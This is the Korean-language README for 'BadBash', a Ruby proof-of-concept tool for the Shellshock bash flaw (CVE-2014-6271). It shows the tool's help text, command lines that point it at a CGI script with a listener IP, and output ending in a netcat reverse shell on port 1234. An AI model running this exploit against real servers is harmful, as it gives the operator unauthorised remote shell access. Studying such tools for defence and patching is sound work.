BadBash

CVE-2014-6271 (ShellShock) RCE PoC 도구

======= BadBash는 CVE-2014-6271 RCE 익스플로잇 도구입니다. 기본 버전은 HTTP CGI 사이트만 확인하며 포트 1234에서 netcat 리버스 셸만 제공합니다.

개발자 : Andy Yang 버전 : 0.1.0 라이선스 : GPLv3

원본 GitHub 프로젝트 : https://github.com/RainMak3r/Rainstorm

================================================================================================ RainMak3r@Could:~/Desktop# ruby BadBash.rb -h

BadBash - CVE-2014-6271 RCE tool by Andy Yang Basic version only checks for HTTP site Basic version only provides netcat reverse shell on port 1234

EXAMPLE USAGE:

 ./BBash.rb  -t 'www.target.com/cgi-folder/cgi.sh' -d '127.0.0.1'
 ./BBash.rb  -t '10.0.0.1/cgi-folder/cgi.sh' -d '127.0.0.1'
-t, --Target CGI path            Full path of CGI page
-d, --Destination IP             Your IP address that listen to an inbound connection
-h, --help                       Display help

================================================================================================ 사용 예시.

RainMak3r@Could:~/Desktop#ruby BadBash.rb -t '172.16.235.140/cgi-bin/Andy.sh' -d '172.16.189.1'

[Info] Checking if the target is vulnerable........

[Info] This may take up to 10 seconds........

[Info] Target is vulnerable!!!

[Info] Please use NC to listen on port 1234 for reverse shell..........

[Info] Exploiting for a reverse shell to connect 172.16.189.1:1234 via netcat ..........